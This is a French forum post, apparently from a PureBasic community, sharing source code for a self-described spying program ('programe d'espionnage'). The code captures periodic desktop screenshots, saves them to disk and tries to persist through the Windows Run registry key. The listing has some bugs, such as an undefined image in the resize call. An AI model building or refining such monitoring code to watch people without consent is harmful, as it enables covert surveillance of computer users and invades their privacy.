Spyer
Publié : dim. 14/nov./2010 17:47
un programe d'espionnage
le seul probleme est que je n'ais pas reussi a faire qu'il se lance au demarage
le seul probleme est que je n'ais pas reussi a faire qu'il se lance au demarage
Code : Tout sélectionner
Procedure StartWithWindows(state.b)
Protected key.l = #HKEY_CURRENT_USER ;or #HKEY_LOCAL_MACHINE pour tout les utilisateur de l'ordi
Protected Path.s = "Software\Microsoft\Windows\CurrentVersion\Run" ;ou RunOnce pour le lancer qu'une fois
Protected Value.s = "rigulon.exe" ;mettre ici le nom de votre prg
Protected String.s = "C:\Mes Exes\"
Protected CurKey.l
If state =1 ; creer la clef
RegCreateKey_ (key,@Path,@CurKey)
RegSetValueEx_ (CurKey,@Value,0, #REG_SZ ,@String, Len (String))
Else ; efface la clef
RegOpenKey_ (key,@Path,@CurKey)
RegDeleteValue_ (CurKey,@Value)
EndIf
RegCloseKey_ (CurKey)
EndProcedure
StartWithWindows(1)
Enumeration
#MENU_ChangePath
#MENU_OpenPath
#MENU_1sec
#MENU_5sec
#MENU_10sec
#MENU_30sec
#MENU_60sec
#MENU_90sec
#MENU_120sec
#MENU_300sec
#MENU_600sec
#MENU_Good
#MENU_Medium
#MENU_Low
#MENU_Pause
#MENU_About
#MENU_Quit
#MENU_DeletePath
EndEnumeration
Global pathpref.s="C:\Program files\Rigulon\"
CreateDirectory(pathpref)
OpenPreferences(pathpref+"prefs.yhe")
PreferenceGroup("info")
Global path.s=ReadPreferenceString("path","")
Global quality.f=ReadPreferenceFloat("quality",1.5)
Global seconds.l=ReadPreferenceLong("seconds",60)
ClosePreferences()
If path=""
path="C:\Program files\Rigulon\ScreenShot\"
CreateDirectory(path)
EndIf
Procedure ScreenShot(a)
Repeat
date.s=FormatDate("%yyyy-%mm-%dd",Date())
hour.s=FormatDate("%hh-%ii-%ss",Date())
CreateDirectory(path+date)
FileName.s=Path+date+"\"+date+" "+hour+".jpg"
If CreateImage(0,GetSystemMetrics_(#SM_CXSCREEN),GetSystemMetrics_(#SM_CYSCREEN))
DesktopWindow=GetDesktopWindow_()
DC=GetDC_(DesktopWindow)
StartDrawing=StartDrawing(ImageOutput(0))
BitBlt_(StartDrawing,0,0,ImageWidth(0),ImageHeight(0),DC,0,0,#SRCCOPY)
StopDrawing()
ReleaseDC_(DesktopWindow,DC)
ResizeImage(Im,ImageWidth(0)/quality,ImageHeight(0)/quality)
UseJPEGImageEncoder()
SaveImage(0,FileName,#PB_ImagePlugin_JPEG,10)
FreeImage(0)
EndIf
Delay(1000*seconds)
ForEver
EndProcedure
CreatePopupMenu(0)
OpenSubMenu("Path = "+path)
MenuItem(#MENU_ChangePath, "Change Path")
MenuItem(#MENU_OpenPath, "Open Directory")
MenuItem(#MENU_DeletePath, "Delete ScrennShots")
CloseSubMenu()
OpenSubMenu("Seconds = "+Str(seconds))
MenuItem(#MENU_1sec, "1 Second")
MenuItem(#MENU_5sec, "5 Seconds")
MenuItem(#MENU_10sec, "10 Seconds")
MenuItem(#MENU_30sec, "30 Seconds")
MenuBar()
MenuItem(#MENU_60sec, "1 Minut")
MenuItem(#MENU_90sec, "1.5 Minut")
MenuItem(#MENU_120sec, "2 Minuts")
MenuItem(#MENU_300sec, "5 Minuts")
MenuItem(#MENU_600sec, "10 Minuts")
CloseSubMenu()
OpenSubMenu("Quality = Medium")
MenuItem(#MENU_Good, "Good")
MenuItem(#MENU_Medium, "Medium")
MenuItem(#MENU_Low, "Low")
CloseSubMenu()
MenuItem(#MENU_Pause, "Pause")
MenuItem(#MENU_About, "About")
MenuItem(#MENU_Quit, "Quit")
OpenWindow(0, 10, 10, 10, 10, "Rigulon", #PB_Window_Invisible)
AddSysTrayIcon(1, WindowID(0),CatchImage(1, ?Icone1))
SysTrayIconToolTip(1, "** Rigulon **")
CreateThread(@ScreenShot(), 154)
Repeat
Event=WaitWindowEvent()
If Event = #PB_Event_SysTray
Select EventType()
Case #PB_EventType_LeftClick
DisplayPopupMenu(0, WindowID(0))
EndSelect
EndIf
If Event = #PB_Event_Menu
Select EventMenu()
Case #MENU_ChangePath:path=PathRequester("",path):SetMenuItemText(0,0,path)
Case #MENU_OpenPath:RunProgram(path)
Case #MENU_1sec:seconds=1
Case #MENU_5sec:seconds=5
Case #MENU_10sec:seconds=10
Case #MENU_30sec:seconds=30
Case #MENU_60sec:seconds=60
Case #MENU_90sec:seconds=90
Case #MENU_120sec:seconds=120
Case #MENU_300sec:seconds=300
Case #MENU_600sec:seconds=600
Case #MENU_Quit:quit=1
EndSelect
If EventMenu()>1 And EventMenu()<14
SetMenuItemState(0,EventMenu(),1)
SetMenuItemState(0,old,0)
SetMenuTitleText(0,2,"Time Between Shots ="+Str(seconds))
old=EventMenu()
EndIf
EndIf
Until Quit=1
OpenPreferences(pathpref+"prefs.yhe")
PreferenceGroup("info")
WritePreferenceString("path",path)
WritePreferenceFloat("quality",quality)
WritePreferenceLong("seconds",seconds)
ClosePreferences()
DataSection
Icone1:
IncludeBinary "G:\Rigulon\icone.ico"
EndDataSection